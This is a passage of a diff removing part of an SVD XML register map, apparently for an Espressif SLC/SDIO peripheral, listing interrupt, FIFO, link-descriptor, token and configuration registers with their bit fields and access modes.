-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_ENA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_ENA</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_ENA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_ENA</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_ENA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_ENA</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_ENA</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_ENA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_ENA</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_ENA</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_ENA</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_ENA</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_ENA</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_ENA</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_ENA</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_ENA</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_ENA</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1INT_CLR</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>FRHOST_BIT8_INT_CLR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT9_INT_CLR</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT10_INT_CLR</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT11_INT_CLR</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT12_INT_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT13_INT_CLR</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT14_INT_CLR</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>FRHOST_BIT15_INT_CLR</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_START_INT_CLR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_START_INT_CLR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_UDF_INT_CLR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_OVF_INT_CLR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_1TO0_INT_CLR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_1TO0_INT_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DONE_INT_CLR</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_SUC_EOF_INT_CLR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DONE_INT_CLR</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EOF_INT_CLR</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INT_CLR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_ERR_INT_CLR</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_DSCR_ERR_INT_CLR</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DSCR_EMPTY_INT_CLR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_HOST_RD_ACK_INT_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_WR_RETRY_DONE_INT_CLR</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_ERR_EOF_INT_CLR</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RX_STATUS</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00020002</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_RX_FULL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_RX_EMPTY</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_FULL</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_RX_EMPTY</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0RXFIFO_PUSH</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RXFIFO_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXFIFO_PUSH</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1RXFIFO_PUSH</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_RXFIFO_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXFIFO_PUSH</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TX_STATUS</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00020002</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_TX_FULL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TX_EMPTY</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_FULL</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TX_EMPTY</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0TXFIFO_POP</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TXFIFO_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC0_TXFIFO_POP</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1TXFIFO_POP</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TXFIFO_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLC1_TXFIFO_POP</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0RX_LINK</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_RXLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RXLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0TX_LINK</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TXLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TXLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1RX_LINK</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00100000</resetValue>
-          <fields>
-            <field>
-              <name>SLC1_RXLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_BT_PACKET</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RXLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1TX_LINK</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TXLINK_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXLINK_STOP</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXLINK_START</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXLINK_RESTART</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TXLINK_PARK</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>INTVEC_TOHOST</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TOHOST_INTVEC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOHOST_INTVEC</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0TOKEN0</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TOKEN0_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_WR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_INC</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0_INC_MORE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN0</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0TOKEN1</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TOKEN1_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_WR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_INC</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1_INC_MORE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC0_TOKEN1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1TOKEN0</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TOKEN0_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_WR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_INC</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0_INC_MORE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN0</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1TOKEN1</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TOKEN1_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_WR</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_INC</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1_INC_MORE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-            <field>
-              <name>SLC1_TOKEN1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF1</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00300078</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_CHECK_OWNER</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_CHECK_SUM_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_CHECK_SUM_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CMD_HOLD_EN</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_LEN_AUTO_CLR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_STITCH_EN</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_STITCH_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_CHECK_OWNER</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_CHECK_SUM_EN</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_CHECK_SUM_EN</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HOST_INT_LEVEL_SEL</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_STITCH_EN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_RX_STITCH_EN</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_STATE0</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_STATE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_STATE1</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_STATE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_STATE0</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_STATE0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_STATE1</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_STATE1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BRIDGE_CONF</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000A7720</resetValue>
-          <fields>
-            <field>
-              <name>TXEOF_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FIFO_MAP_ENA</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_TX_DUMMY_MODE</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HDA_MAP_128K</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC1_TX_DUMMY_MODE</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PUSH_IDLE_NUM</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TO_EOF_DES_ADDR</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TO_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TX_EOF_DES_ADDR</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TX_SUC_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_0_TO_EOF_BFR_DES_ADDR</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC0_TO_EOF_BFR_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TO_EOF_DES_ADDR</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TO_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TX_EOF_DES_ADDR</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TX_SUC_EOF_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>_1_TO_EOF_BFR_DES_ADDR</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLC1_TO_EOF_BFR_DES_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHB_TEST</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>AHB_TESTMODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AHB_TESTADDR</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SDIO_ST</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CMD_ST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FUNC_ST</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO_WAKEUP</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BUS_ST</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FUNC1_ACC_STATE</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FUNC2_ACC_STATE</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RX_DSCR_CONF</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x101B101A</resetValue>
-          <fields>
-            <field>
-              <name>SLC0_TOKEN_NO_REPLACE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_INFOR_NO_REPLACE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLC0_RX_FILL_MODE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
